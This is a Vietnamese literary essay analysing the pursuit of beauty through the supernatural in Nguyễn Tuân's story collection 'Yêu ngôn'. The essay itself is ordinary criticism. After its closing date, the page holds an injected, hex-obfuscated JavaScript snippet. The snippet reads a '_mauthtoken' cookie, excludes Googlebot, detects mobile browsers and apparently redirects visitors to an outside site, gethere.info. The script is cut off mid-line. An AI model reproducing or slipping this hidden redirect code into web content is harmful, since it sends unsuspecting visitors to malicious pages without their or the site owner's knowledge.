“Yêu ngôn” (Nguyễn Tuân ) – hành trình đi tìm cái đẹp trong cái kì ảo

“Yêu ngôn” (Nguyễn Tuân ) –
hành trình đi tìm cái đẹp trong cái kì ảo
Lê Lưu Oanh – Nguyễn Thùy Dương

Nguyễn Tuân, người nghệ sĩ, đã không ngừng đi tìm cái đẹp trên những hành trình xuyên không gian và thời gian. Với không gian, ông khám phá những vẻ đẹp của đất nước, con người. Với thời gian, ông nghiêng về những vẻ đẹp của một nền văn hóa xưa cũ … Nhưng dường như vẫn chưa thỏa, “phải đi tìm một thế giới khác để được sống mãnh liệt, nồng nàn, cuồng nhiệt, phát huy tận độ cá tính của mình” (Nguyễn Đăng Mạnh), Nguyễn Tuân còn tìm đến cái đẹp trong thế giới huyền bí, mờ ảo, xa xôi, kì lạ. Mạch truyện Yêu ngôn (Yêu ngôn, Nxb Hội nhà văn, 2000) đã bộc lộ một con đường độc đáo: con đường đi tìm cái đẹp trong cái kì ảo.
***
Cái đẹp gắn với cái kì ảo là những cái đẹp không bình thường, kì lạ. Trong văn học thế giới, đó là cái đẹp gắn với thế giới thần linh (cung quảng, vườn đào tiên, rượu trường sinh bất lão, hoa thơm, cỏ lạ), với những nhân vật thần tiên (tiên nữ, Hằng Nga, nữ thần tình yêu, sắc đẹp), với những vật linh diệu (tấm thảm bay, đôi hài bảy dặm, tiếng đàn đuổi giặc), với những con người siêu việt (Héc Quyn, Thánh Gióng, Thạch Sanh), với thế giới huyền diệu ở những xứ lạ (thủy cung, xứ hoa đào, vương quốc bướm…), và các nhân vật ma trong Truyền kì mạn lục, Liêu Trai chí dị… Cái đẹp của Nguyễn Tuân trong Yêu ngôn cũng trên cùng văn mạch đó, nhưng có những màu sắc riêng.
Đọc Yêu ngôn, ta nhận thấy, cái đẹp là cái lộng lẫy, rực rỡ, siêu phàm, được thăng hoa, phóng đại, với những kích thước kì vĩ. Đó là cái đẹp thuộc về thế giới tiên cảnh: thế giới này thật lung linh, huyền ảo, đầy hoa thơm cỏ lạ, đầy màu sắc, ánh sáng, nơi con người trẻ mãi không già. Từ cỏ cây hoa lá cho đến những vật dụng phục vụ đời sống hàng ngày đều tràn đầy hương sắc, đầy quyến rũ: ở trên ấy đẹp lắm, ngày tháng thì dài mà không thấy sốt ruột, hoa quả lành ngọt và thơm … Có cái lạ là không phải nấu nướng gì, những thứ nhân đá xanh vàng…cứ đập rời ra, bốc bỏ mồm là đủ hương vị một hạt cơm, một hạt xôi rồi. Nhân đá trắng thả vào những gióng tre đằng ngà khổng lồ đựng nước suối, đem uống với nhau, thấy ngà ngà mà say, lâng lâng mà khuây vợi lòng tha hương…. Nơi chốn ấy cũng thật khác thường, tận đỉnh cao của núi Tản, từ đó thấy được cái mênh mông, vời vợi, hun hút: đứng ở mái đền Thượng mà nhìn xuống, trông được cả khói ở kinh thành Thăng Long. Thấy rõ cả cái chợ Giời ở núi Sài… rừng Tải thấm hút không hết làn sương núi. Sương cành trên đọng gieo xuống cành dưới. Đến được thế giới ấy con người cần có sự trợ giúp của thần linh: Cả đoàn người cứ thấy bay lên, cứ chọc thủng các lớp mây. Bên tai hiệp thợ phi hành, chỉ có gió vù vù (Trên đỉnh non Tản).
Bên cạnh đó, cái đẹp là cái tinh hoa của trời đất và con người kết tụ. Chuyện Bố Ô không đơn giản là chuyện uống rượu, mà là sự thưởng thức tinh hoa của trời đất được chưng chất, là sự thưởng thức bằng cả tâm hồn, thỏa mãn cả trí tuệ chứ không chỉ vị giác (Rượu bệnh). Giấy họ Chu có những phẩm chất đặc biệt, chính vì được làm từ cây dó, loại cây mang linh hồn một cô gái hoá ngọc (Xác ngọc lam). Cây đàn của Chánh Thú phát ra những âm thanh tuyệt diệu, huyền hoặc, bởi lẽ tang đàn làm bằng nắp ván thôi cỗ quan tài một người con gái đồng trinh… (Chùa Đàn). Đó là những cái đẹp gắn với những phẩm chất tinh xảo của vật dụng được nâng lên mức huyền hoặc.
Là cái được kết tinh nên cái đẹp có sức nội sinh mạnh mẽ, dẫu có khi bị thử nghiệm hủy hoại nhưng vẫn không hề suy xuyển: một bức cổ hoạ vẽ tướng Hàn Kỳ ngồi đọc binh thư bên ngọn bạch lập… châm lửa vào đầu nến trong tranh bức hoạ sẽ sáng bừng lên mà tranh vẫn nguyên vẹn (Lửa nến trong tranh).
Vậy nên, cái đẹp mang tính huyền bí, siêu việt. Như những bảo bối, vưu vật của mỗi gia đình, dòng họ, hội nghề, không thể lưu truyền ra bên ngoài, quá trình sáng tạo và chiếm lĩnh cái đẹp (dù là trang giấy, bức tranh, bản đàn, đến đền đài, cung điện,…) cũng là quá trình đầy bí ẩn và linh thiêng, gắn với với thiên cơ, gắn với lời nguyền, có sự phụ trợ của thần linh, thậm chí yêu ma. Tiếng hát của cô Dó (hồn cây Dó) càng hay thì giấy Chu Hồ càng bóng đẹp. Trong thế giới kì ảo trên Non tiên, những người thợ chạm khắc làm nghề mộc mà như đang sáng tạo nên những tác phẩm nghệ thuật, trong một không gian thiêng liêng như một cuộc hành lễ. Họ trổ tài nghệ dưới sự bảo trợ của thần non Tản và những bí mật của họ là những bí mật không thể chia sẻ, nếu vi phạm sẽ bị thần linh trừng phạt. Tiếng đàn kì lạ của Bá Nhỡ như có sự nhập đồng của hồn ma Chánh Thú. Khi kết hợp hai tài năng cự phách về đàn, nghệ thuật thăng hoa, chạm đến cõi huyền diệu, nhưng cũng báo hiệu cái chết đang đến gần. Phải chăng quá trình sáng tạo cái đẹp là quá trình vật lộn với muôn ngàn khó khăn thử thách thậm chí đánh đổi cả bằng tính mạng?
Bởi cái đẹp là tinh hoa của trời đất và con người, nên để chạm đến cõi đẹp, con người phải có những năng lực kì lạ, có tài hoa, có thiên lương và niềm đam mê mãnh liệt. Những nhân vật của Nguyễn Tuân, dù là người bình thường như người cai ngục, ông lái đò, người thợ mộc, người kép hát, người uống rượu… nhưng đều là con người đặc biệt kì lạ, có lối sống thanh cao, luôn luôn giữ gìn bản chất lương thiện trong sáng, có lòng dũng cảm cao quí… , những phẩm chất thể hiện cái đẹp của tâm hồn.
Trước hết, họ là những con người rất mực tài hoa: tài chạm khắc như những người thợ mộc (Trên đỉnh non Tản), tài gẩy đàn như Bá Nhỡ (Chùa Đàn), tài thưởng thức tranh của Lê Bích Xa (Lửa nến trong tranh), tài văn chương như hai anh em Đầu Xứ Anh và Đầu Xứ Em (Khoa thi cuối cùng), tài hát hay đàn giỏi, đánh trống rất tròn và đĩnh đạc lại giỏi chữ nghĩa, chép bài tỳ bà bằng “chữ viết lối triện” rất đẹp, tài làm nên những chiếc roi chầu cực quý giá của ấm Đái (Đới roi).
Tài hoa ấy, thần linh cũng phải ngưỡng mộ: Hiệp thợ mộc được thần non Tản mời lên giúp việc trùng tu lại ngôi đền, một công việc đòi hỏi sự tài hoa khéo léo bởi thế giới tiên cảnh này mọi cái đều tuyệt mỹ (Trên đỉnh non Tản)
Họ còn là những con người có thiên lương cao đẹp. Bố Ô dù là kẻ nghiện rượu, bề ngoài có vẻ kì quặc, lại có hành động nghĩa hiệp, dám chống lại cường quyền. Một mình ông dám xông vào dinh quan thượng, kẻ quyền trấn một góc trời lấy đầu thiên hạ dễ như bỡn, la hét đòi thả một cô gái quê bị cậu ấm con quan bắt vào hãm hiếp. Cậu ấm Đái dù rơi vào hoàn cảnh bần cùng, vẫn tỏ ra khảng khái đến mức thà thắt cổ chết để làm con ma tài tử chứ không chịu nhục sống nhờ lòng thương hại của một đào nương. Bá Nhỡ có ngón đàn thật hay, nhưng phải che dấu thân phận vì bị quy trọng tội. Để giữ tính mệnh anh phải bỏ đàn. Một hôm nào đó anh sẽ chơi lại nhạc, vừa để thỏa mãn niềm đam mê vừa trả nợ ân tình với ông chủ, dù bây giờ chơi đàn sẽ đồng nghĩa với cái chết.
Thậm chí, những con người ấy còn có khả năng thiên bẩm đặc biệt: thông linh nhập thần, tức nối kết với cõi huyền diệu bằng tâm linh, bằng đam mê, bằng tài hoa, bằng tâm hồn cực kì nhạy cảm. Thậm chí, Nguyễn Tuân còn cho rằng, chỉ có những con người có khả năng siêu phàm, có giác quan thứ sáu, hay có khả năng thông linh mới có thể sáng tạo và thưởng thức cái đẹp. Ông Kinh họ Trịnh vào một đêm bắt được thứ âm thanh kì lạ : ông chỉ thấy tiếng gió lùa qua lỗ tre là một thứ thanh âm đủ cung bậc quái đản của một thứ nhạc huyền bí tấu từ thế giới u linh nào lạc về (Loạn âm). Cậu Năm nghe được các cung bậc của tiếng hát ma mị: nghe tiếng cô Dó hát mà mang máng như lối trong giáo phường đọc phú và nhiều khúc thì lại có cái âm luật xốc vác của thơ cổ phong năm chữ ngâm bằng một giọng bi tráng khê nồng của người khách hiệp gặp đường cùng. Đến một đọạn sau thì dài hơn, trong trẻo như pha lê. Và vui như tiếng thông reo giữa trời nổi gió. Có rờn rợn chăng là đoạn cuối của bài hát, nó lơ lớ ấm ế ôi a như lối ma hời đưa võng ru con.. (Xác ngọc lam).
Cái đẹp bởi thế, có những khả năng huyền diệu: làm dịu đi nỗi đau của con người, đưa con người vào một cõi khác, nồng nàn hơn huyền ảo hơn … Âm nhạc không chỉ là thứ đơn giản diễn tả niềm vui hay nỗi buồn, mà còn có sức mạnh kì lạ: Bá Nhỡ muốn tiếng đàn của mình giúp cho ông chủ qua khỏi cơn đau buồn. Ông Kinh nghe sáo bụi tre ngõ nhà tưởng đâu như khúc địch thiên thai. Bố Ô uống rượu vào mà như đi vào cõi khác, lãng quên đời sống phàm tục… Có lẽ Nguyễn Tuân muốn chỉ ra rằng chỉ có nghệ thuật (cái đẹp) mới cứu rỗi con người, giúp khôi phục lại tâm hồn, trí tuệ con người.
Nhưng cái đẹp lại là cái khó tri âm. Không phải ai cũng có khả năng thưởng thức cái đẹp, nhất là cái đẹp lại ẩn dấu ở một thế giới mờ ảo, xa xôi và kì lạ. Trong “Xác ngọc lam”, nghe tiếng hát huyền bí vẳng lên từ cây dó, cậu Năm phục mãi mới gặp được cô Dó, nàng tiên làm nên chất giấy tuyệt vời của cây dó. Bóc đi lớp vỏ hoang đường li kì này, chúng ta nhận thấy một thông điệp: cái đẹp không dễ kiếm tìm, phải cất công lặn lội và trân trọng mới cảm nhận được. Đồng thời phải có tấm lòng tri ngộ mới có thể thưởng thức và thẩm thấu cái đẹp. Tiếng hát của cô Dó thật bí ẩn, huyền hoặc, thậm chí còn đem đến những khiếp đảm sợ hãi cho những ai nghe được tiếng hát ấy. Như vậy cái đẹp thuộc về thế giới bí ẩn mà con người không giải thích được.
Không những không giải thích được mà cái đẹp là cái không dễ chia sẻ. Không phải ai cũng biết giá trị thật của các loại bút, mực và giấy để dùng trong những khoa thi, không phải ai cũng nhìn được vẻ đẹp của các bức tranh cổ, không phải ai cũng biết bí mật của việc làm giấy Chu Hồ, không phải ai cũng nhìn chiếc đàn mà biết nó sẽ phát ra những âm thanh tuyệt diệu.
Phải chăng vì ít kẻ tri âm nên cái đẹp còn là cái yểu mệnh mong manh, dễ bị hành hạ, vùi dập phũ phàng. Trong “Lửa nến trong tranh”, ruột tranh bị đánh tráo, người thưởng thức tranh chỉ biết ngậm ngùi luyến tiếc. Trong “Xác ngọc lam”, ông Chiêu Hiện hối hận vì trót thờ nhầm phải một người có nhân cách xấu xa, đã quyết từ chối mọi tặng phẩm của tên bạo phú để trở về quê chịu chết trong cảnh nghèo, bởi cái người ông tôn thờ đã chà đạp lên cái đẹp, giết chết cái đẹp. Ông ngộ ra một điều, cái đẹp phải được trân trọng, người thưởng thức phải nâng niu cái đẹp ấy nếu không nó sẽ tan biến mất. Và cũng không thể bắt cái đẹp nô lệ cho thoả mãn lòng ích kỷ của mình. Cảnh cô Dó chết chính đã chứng minh cho điều ấy. Đặt cái đẹp ở cõi trần tục, giữa những con người tầm thường không thể thấu hiểu và chia sẻ, cái đẹp ấy sẽ tàn lụi và chết yểu.
Từ những quan điểm trên ta có thể rút ra được nguyên tắc mỹ học của Nguyễn Tuân, nghệ thuật là cái tuyệt đối, bí ẩn và đầy sáng tạo. Với Yêu ngôn, nhà văn có phần huyền bí hóa nghệ thuật.
***
Nguyễn Tuân đã bất tử hoá cái đẹp bằng những câu chữ của mình.
Yêu ngôn chính là lời ma, vì thế, Nguyễn Tuân còn cố gắng thể hiện cái đẹp qua cái kì ảo, thậm chí ma mị với những kì cảnh, kì hình, kì sự, kì nhân, kì duyên, kì tình, kì âm, kì ngôn.
Cảnh của Yêu ngôn trước hết thuộc về một thế giới xưa cũ, nói như Nguyễn Đăng Mạnh “có một cái gì đó như là linh hồn ngàn xưa của đất nước phảng phất ở trong trang viết về cảnh núi non sông nước hay cảnh phố phường chợ búa, về nghề làm giấy làng Hồ Khẩu bên Tây Hồ, về nghề làm mộc làng Tràng thôn tỉnh Đoài, về nghề cất rượu ngon vùng tả ngạn sông Nhĩ Hà, về mùa thi cử “hoa hoè nở vàng” đất Sơn Nam, về cảnh buôn bán đi về tấp nập từ bến Bồ Đề qua Ô Quan Chưởng vào Kẻ chợ, đất Kinh kỳ… (Nguyễn Đăng Mạnh – Lời giới thiệu Nguyễn Tuân và Yêu ngôn, Yêu ngôn, Nxb Hội Nhà văn, Hà Nội, 2000). Cảnh Tản Viên Ba Vì hiện lên như trong cõi mộng đẹp một cách thuần khiết và trong trẻo. Rồi cảnh ma: hãy xem cảnh trường thi hiện lên đầy ma quái, rùng rợn với hình ảnh báo oán; hình ảnh rừng dó với những âm thanh bí hiểm; hình ảnh quái đản ngập máu khi Bá Nhỡ chơi đàn; cảnh ông Kinh nghe tiếng nhạc ma. Từ cảnh trần nhà văn đưa người đọc đến cảnh tiên và kết thúc là cảnh ma quái. Từ kì cảnh Nguyễn Tuân đã nâng lên thành yêu cảnh.
Có ba loại kì nhân. Thứ nhất là loại kì tài: Lãnh út, Lê Bích Xa, Đới Roi, Bá Nhỡ, cô Tơ, Chánh Thú. Họ đều chung một điểm là có khả năng vượt trội. Từ hành động, lời nói đều biểu hiện của nghĩa cử cao đẹp hay lối sống cứng cỏi đầy khí phách hoặc có sở nguyện yêu cái đẹp. Tuy nhiên họ luôn luôn sống trong môi trường thử thách khắc nghiệt. Tài hoa tinh anh phát tiết, khả năng siêu phàm của họ hun đúc cho cái đẹp đạt đến đỉnh cao nhưng cũng là bi kịch cuộc đời họ. Cậu ấm Đái tiêu cả cơ nghiệp vào tiếng đàn giọng hát. Lúc ở dương gian đã thế, khi chết đi hồn phách vẫn không chịu rời bỏ chốn thanh lâu, đêm đêm vẫn đánh trống chầu trên những mái nhà nơi hàng viện. Trong “Chùa Đàn” đoạn Bá Nhỡ đánh đàn, cô Tơ hát và Lãnh út đánh trống, ở đó cái đẹp như được thăng hoa. Nguyễn Tuân đã miêu tả con người tài hoa sẵn sàng dâng hiến sinh mệnh để sáng tạo nghệ thuật: Nắn những đường gân ngang nó gò cong mình xuống đàn nó day thịt da tê cóng trên dây sắc buốt như cật cứa, mấy đầu ngón tay Bá Nhỡ sưng vù và bật máu. Bá Nhỡ đang chịu một nhục hình bá đao tùng xẻo. Nghe phách cô Tơ, ở những khổ rung thưa rồi mau, Bá Nhỡ say sưa trong cái nhận thức là mình đang chết dần giữa đàn hát và mỗi một tiếng trúc tiếng tơ đánh thêm lên là mình lại càng lả dần về cõi chết… Máu chảy ra nhiều quá. Toàn thân Bá Nhỡ đỏ ngòm. áo quần màu trắng của Bá Nhỡ vụt trở lên vóc đại hồng, trông hệt một người phục sức để ăn thượng thọ. … Một tiếng đàn là một miếng thịt lẩy ra. Tí một, tiếng đàn đưa nhau về nơi vĩnh quyết. Cảnh tượng trên đây đâu chỉ còn là một cảnh tượng biểu diễn nghệ thuật bình thường mà còn mang ý nghiã sâu thẳm: niềm đam mê khiến con người có thể chết vì cái đẹp.
Họ còn là những người có hành động kì lạ theo cách nghĩ thông thường. “Loạn âm” là tấm lòng tri âm tri kỷ mến nhau về tài đức, và sâu xa hơn là cái đẹp của những hành động cao quý, của những nghĩa cử, của những con người suốt đời sống thanh cao, liêm chính. Nhìn Bố Ô uống rượu người ta nghĩ đến cảnh con người đang thưởng thức tinh hoa ngọc thực một cách say mê. Khi không thể uống rượu được thì thân xác của Bố Ô cũng hoá ra tro bụi. Lê Bích Xa lại có khả năng thẩm thấu tranh cổ, đặc biệt có thể phân biệt đồ thật, giả bằng đôi mắt tinh tường. Mặc dù bỏ cả khoản tiền lớn mua tranh nhưng Lê Bích Xa sẵn sàng thắp ngọn nến trong tranh cháy lên, mặc dù biết sau đó tranh sẽ cháy, cũng để cho thiên hạ cùng thưởng thức cái đẹp. Ông muốn cái đẹp ấy được san sẻ cho tất cả mọi người.
Còn có những nhân vật tiên, ma. Cô Dó là hồn sống của cây dó. Không còn giấy dó nữa, cô đành phải chết. Cô Dó đã hoá thành khối ngọc bích và giấy Chu Hồ bây giờ đã trở thành một câu chuyện cổ tích về lịch sử làm giấy đẹp ngàn xưa (Xác ngọc lam). Làm đến chức Quan ôn dưới âm mà vẫn giữ đạo bằng hữu cao dày (Loạn âm). Khuôn mặt cô bán hàng sách phảng phất diện mạo ma nữ trả thù (Khoa thi cuối cùng). Kì nhân đã hóa yêu nhân.
Những kì nhân đi liền với kì hình: Bá Nhỡ chỉ còn là một cái bóng. Bóng loãng dần và không động. Bóng cứ nhạt mờ thêm mãi qua cái hôn mê của nỗi thảm tình thương và cô Tơ chỉ còn nhận thấy chỉ còn mỗi một cái chấm sáng trên thân người là còn linh động. ấy là cái mặt ngọc chiếc nhẫn ở ngón tay nắm dây. Tất cả sinh khí một kiếp người chỉ còn gởi có vào một cái mặt nhẫn linh động theo âm đàn. Nhưng mà ngón tay cầm đàn gẩy cũng đã uể oải rồi trên con phím. Rồi bẵng hẳn đi, trong phòng không có một tiếng đàn nào nữa. Như một thứ keo, máu cũ khô quánh đã gắn chặt mười đầu ngón tay Bá Nhỡ vào những sợi tơ đỏ thẫm và mặt tang ngô đồng hoen ố. Mười ngón như một đã bị đóng đinh liền vào phím cây đàn (Chùa Đàn). Cảnh đánh đàn vừa ma quái, rùng rợn vừa thâm nghiêm, vừa bi tráng, đã hữu hình hóa sự nhập thân toàn vẹn của nghệ sĩ vào nghệ thuật. Vậy nên, sáng tạo nghệ thuật hay sáng tạo cái đẹp đâu phải chỉ là thứ giải trí tầm thường bởi mấy ai sẵn sàng đem sinh mệnh mình thử thách chỉ để mua vui.
Trong “Rượu bệnh” hình ảnh Bố Ô chết cháy thật kì lạ: Ngọn lửa xanh lè vờn lấy mình ông già đang say mềm. Xác Bố Ô nứt đến đâu thì mùi thịt thui ấy thơm lừng như mùi cá mực nướng bằng rượu không có chút gì là hôi khét cả. Và lúc mà lửa đã hoại xong cái xác kia thì cỗ xương ấy bệch ra như thạch cao ải vụn ra trông trắng nhỏ không khác gì thứ bột để luyện những hòn men. Ngửi cái vụn xương vô tự ấy, lại còn thấy thơm và ngây ngất nữa, trong khi dờ tay vào thì nó ấm như tinh bột men. Đấy không phải là chết mà như sự hoá thân tuyệt diệu của một kiếp đời tài tử sống chết vì cái đẹp.
Những con người ấy may mắn hội ngộ với những kì duyên. Theo quan niệm của đạo Phật thì duyên là sự gặp gỡ, tương giao giữa những tâm hồn của con người và nhờ những cái duyên này mà tạo nên tình bạn hữu, phu thê, phu tử. Tuy nhiên cái duyên trong Yêu ngôn lại diễn ra lạ lùng, bởi nó không chỉ tồn tại trong cuộc sống thực tại của con người mà nó còn có trong mối tương cảm của người sống với người chết (Chùa Đàn), là sự kết duyên của người trần với người tiên (Xác ngọc lam), đó là cuộc tao ngộ của người trần với ma quỷ (Loạn âm). Nhưng xét đến cùng, những cuộc gặp gỡ bất ngờ này cũng là thể hiện cái duyên tri kỉ của những tâm hồn yêu chuộng cái đẹp.
Để tiếp cận cái đẹp, con người trong Yêu ngôn không giao tiếp với nhau bằng lời, bằng ngôn ngữ mà chủ yếu bằng linh cảm. Đó là khả năng nhận biết bằng trực giác, sự mẫn cảm, bằng giác quan “thứ sáu”hầu như không dựa trên một chứng cớ nào. Cô Tơ linh cảm thấy một điều kì lạ sắp xảy ra khi cây đàn của Chánh Thú đổ mồ hôi vật mình mẩy. Cậu Năm khi nghe tiếng hát từ thân cây dó vẳng ra, quyết nghĩ có người đẹp trong lòng cây và đợi gặp cho bằng được. Cảm thấy gió đêm hè tỏa sương, nghe tiếng chó sủa dồn dập và tiếng sáo ma quái từ bụi tre đầu ngõ vọng tới, ông Kinh Lịch họ Trịnh linh cảm một điều bất an sắp xảy ra với làng quê của mình. Linh cảm là khả năng đặc biệt của con người. Nó thuộc về cõi siêu thức, nằm ngoài vòng kiểm soát của linh tính mà không phải ai và lúc nào con người ta cũng có khả năng kì diệu ấy. Như vậy những mối kì duyên này cũng góp phần lí giải cho những điều bí ẩn xung quanh đời sống tâm linh con người. Từ đó hình thành nên những tâm cảm, tạo ra những khả năng giao cảm với người thân xa cách, với quá khứ và khả năng hòa đồng kì diệu giữa con người với con người, giữa con người với tự nhiên.
Trong “Loạn âm”, một sự kiện kì lạ xảy ra bất ngờ đối với ông Kinh Lịch họ Trịnh, đó là người bạn quá cố hiện đang làm quan dưới âm biết Diêm Vương sắp gây ra nạn dịch tả vì người muốn bắt nhiều phu xuống âm phủ để đắp đường. Người bạn ấy nể tình riêng muốn giúp ông và gia đình thoát chết. Nhưng con người khảng khái ấy trả lời thẳng thắn: trong cái đời liêm chính của tôi, chưa lúc nào tôi làm điều gì khuất tất trong lòng. Việc quan lớn ra ơn cho là Phú Giang này tôi rất thâm tạ nhưng thực không giám xin cho ai. Xin quan lớn cứ thừa thiên mà hành đạo, việc sống chết của chung quanh tôi, xin quan lớn cứ phải mà làm, và người áo vải này không dám nói thêm vào đó nửa lời. Sắc mặt vị quan ôn bỗng tái hẳn đi. Sự giận dỗi quả đã là rõ rệt, thế huynh thực phụ bụng tôi nhiều quá. Lòng cố nhân ngay thẳng quá, điều đó thực là đáng quý. Miêu tả những cuộc gặp gỡ kì lạ này nhà văn có dịp thể hiện những bí ẩn đời sống tâm linh, niềm tin vào sự bất tử, sự tương thông giữa hai cõi trần âm và tình bạn vĩnh cửu không gì chia cắt, kể cả cái chết.
Với những kì tình như vậy, Nguyễn Tuân muốn khẳng định, dù ở hai thế giới thực hay yêu ma, con người cũng luôn mơ ước, trân trọng những tình cảm cao đẹp. Chuyện tình yêu của cậu Năm và cô Dó quả là mối tình tri kỷ. Sự hy sinh cao thượng của Bá Nhỡ để ông chủ sống lại phần hồn khiến ta kinh ngạc về sức mạnh của lòng tri ân. Và ta càng kính phục hơn trước sự trở về của viên Quan Ôn để báo đáp cho người bạn của mình là ông Kinh Lịch họ Trịnh mà không sợ phạm đến luật trời, sẵn sàng tiết lộ thiên cơ. Đằng sau cái vẻ huyền bí kì ảo ấy là gì nếu như không phải đó là tình người, tình đời thiết tha và bền chặt với thời gian mà Nguyễn Tuân muốn khẳng định? Bởi lẽ, chỉ vì tình tri kỉ thì con người mới dám chết cho nhau.
Cuối cùng, tất cả mọi miêu tả, kể chuyện, giãi bày trên đều trải trên nền của những kì ngôn: Nguyễn Tuân không ngừng nỗ lực đưa ra những mới lạ về chữ nghĩa, về điểm nhìn, về kiểu tu từ…
Chỉ riêng tả âm thanh, cũng đã vô vàn sắc điệu qua câu chữ.

Tiếng hát cô Dó : cậu Năm là người có chữ nên cậu ngờ rằng điệu hát cô Dó mang máng như lối trong giáo phường đọc phú và nhiều khúc thì lại có âm luật sốc vác của thơ cổ phong năm chữ ngâm bằng giọng bi tráng, khê nồng của người khách hiệp gặp đường cùng. Đến một đoạn sau thì dài hơn, trong trẻo như pha lê và vui như tiếng thông gieo giữa giời nổi gió. Có rờn rợn chăng thì là cái đoạn chót của bài hát. Nó lơ lơ ấm ế ôi a như lối ma Hời đưa võng ru con…; âm thanh lơ lớ và nhịp, lúc mau như khổ dựng giọng nhà Tơ và lúc thưa thì giống hệt lối ngâm thơ Thiên Thai rồi ngân dần dần lên và lại dần dần ngân mà xuống đúng như hơi hát cung bắc lúc đổ con kiến…

Tiếng gió thổi qua bụi tre già: Mỗi đợt gió lùa qua bấy nhiêu lỗ thủng suốt, mỗi lỗ lại vang lên một âm thanh cao thấp khác nhau và bụi tre già đã là một cây phong cầm vang âm trong gió.

Tiếng đàn Bá Nhỡ: Tiếng đàn hậm hực, chừng như không thoát hết được vào không gian. Nó nghẹn ngào, liễm kết cái u uất. Nó là cái tâm sự không tiết ra được. Nó là niềm vang dội quằn quại của những tiếng chung tình. Nó là cái dư ba của bể chiều dứt chân sóng. Nó là cái lả lay nhào lìa của lá bỏ cành. Nó là cái oan uổng nghìn đời của cuộc sống thanh âm. Nó là sự khốn nạn khốn đốn của chỉ tơ con phím….

Tiếng phách của cô Tơ: dồn như tiếng chim kêu thương trên dậm cát nổi bão lốc. Nhiều tiếng tay ba ngừng gục xuống bàn phách, nghe tàn rợn như tiếng con cắt lao mạnh xuống thềm đá sau một phát tên. Tay phách không một tiếng nào nhụt. Mỗi tiếng phách sắc như một nét dao thuận chiều…Cả hát và đàn đang dắt tay nhau sa lầy trên cái mênh mông bùn sũng ngào vỏ ốc, mờ rộng xanh lơ ngút chân giời …

Những câu chữ miêu tả âm thanh sắc ngọt, ma mị đến như vậy, chẳng phải là lời ma hay sao?

***

Qua lăng kính hư ảo của Yêu ngôn, Nguyễn Tuân đã đẩy cái đẹp đến tuyệt đích, nhằm bất tử hoá cái đẹp.

25/5/2014

 

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 